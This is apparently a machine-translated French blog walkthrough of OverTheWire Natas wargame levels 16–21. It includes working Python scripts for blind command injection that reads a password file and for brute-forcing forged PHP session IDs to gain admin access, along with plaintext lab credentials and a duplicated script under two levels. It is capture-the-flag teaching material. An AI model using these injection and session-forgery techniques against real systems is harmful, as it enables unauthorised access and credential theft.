
Dans cet article, nous traiterons du fonctionnement de certaines identités WEB en utilisant le wargame
Natas comme exemple. Chaque niveau a accès au mot de passe de niveau suivant. Tous les mots de passe sont également stockés dans les fichiers / etc / natas_webpass /. Par exemple, le mot de passe de natas5 est stocké dans le fichier / etc / natas_webpass / natas5 et est en lecture seule pour les utilisateurs natas4 et natas5.
Parties passées:
partie 1 et
partie 2 .
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaîne dans Telegram et un
groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
niveau 16
A en juger par le code source, tous les caractères de service sont filtrés et le transfert de «collage» à partir de deux fichiers est impossible, car la chaîne est transmise entre guillemets.

En utilisant des constructions comme $ (cmd), vous pouvez contrôler la sortie de "key".

L'idée est la suivante:
- Si la construction grep -i "key" file.txt, key est une chaîne vide, le fichier entier sera affiché.
- Puisqu'il n'y a qu'une seule ligne dans le fichier avec le mot de passe, nous pouvons contrôler sa sortie.
- En passant l'expression régulière à grep à l'intérieur de la construction $ (cmd), nous afficherons soit une ligne avec un mot de passe (lorsque nous devinerons le début du mot de passe) dans le paramètre -i et aucune ligne ne sortira de dictionary.txt, ou au lieu d'une ligne avec le mot de passe sera une chaîne vide et tout le fichier dictionary.txt sera affiché.
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

J'ai un mot de passe.
niveau 17
Nous utilisons sqlmap selon le scénario précédent (de la deuxième partie).



Il y a un mot de passe.
niveau 18
Analysons le code source.

La première étape consiste à vérifier si les cookies sont paramétrés dans le navigateur (Fonction my_session_start ()).

Puisqu'il n'y a rien pour contrôler les cookies dans la tâche, cela signifie qu'ils doivent être définis, c'est-à-dire que la fonction retournera false et dans le code racine, nous irons à la branche else. Vérification du remplissage des champs nom d'utilisateur et mot de passe. La fonction session_id () accepte un nombre aléatoire dans la plage de 1 à 640 (ce qui est très étrange pourquoi une telle restriction) et crée des configurations de configuration pour la fonction session_start ().


Ensuite, le nom d'utilisateur == «admin» est vérifié. Si nous nous connectons en tant qu'administrateur, nous en sommes informés et recevons un mot de passe pour le niveau suivant.

Idée de solution: la plage d'ID est définie pour les utilisateurs. Nous allons écrire un fichier de force brute qui ira à la page dont l'ID est compris entre 1 et 640.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Nous obtenons le mot de passe avec id = 119.
niveau 19
Puisque le code est le même, l'idée est la même. Voyons le cookie.

Chaîne codée hexadécimale. Nous allons décoder.

Il ne reste plus qu'à changer le code.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

Il y a un mot de passe.
niveau 20
Après avoir analysé le code source, nous pouvons supposer que 2 fonctions méritent l'attention.
La fonction mywrite () écrit des données sur chaque ligne sous forme de valeur_clé. Mais la clé est sélectionnée au hasard et la valeur est transférée à partir du champ de saisie.

La fonction myread () traverse toutes les lignes et lit les données séparées par des espaces (clé et valeur).

Nous ne verrons le mot de passe que si la ligne «admin 1» apparaît dans un tel fichier. Le fait est que nous pouvons contourner la logique d'application et écrire autant de lignes que nous voulons. Pour ce faire, nous devons envoyer une ligne du formulaire "Value0_TranslationStrings_Key1_Value1, etc."

Une fois la valeur écrite dans le fichier, nous rechargeons la page afin qu'elle soit lue à partir du fichier.

Nous enlevons le mot de passe.
niveau 21
Nous sommes fournis avec deux versions du site. Le fait est que les cookies et la session sont disponibles pour le transfert entre différentes pages sur le même domaine. Nous étudions le code source du deuxième site. Tous les paramètres acceptés sont définis dans la session. Par analogie avec les niveaux passés, vous devez définir admin => 1.

Ajoutez simplement un nouveau paramètre administrateur avec une valeur de 1, rechargez la page et placez ces cookies sur la page principale.


Nous enlevons le mot de passe.
À suivre. Vous pouvez nous rejoindre sur
Telegram .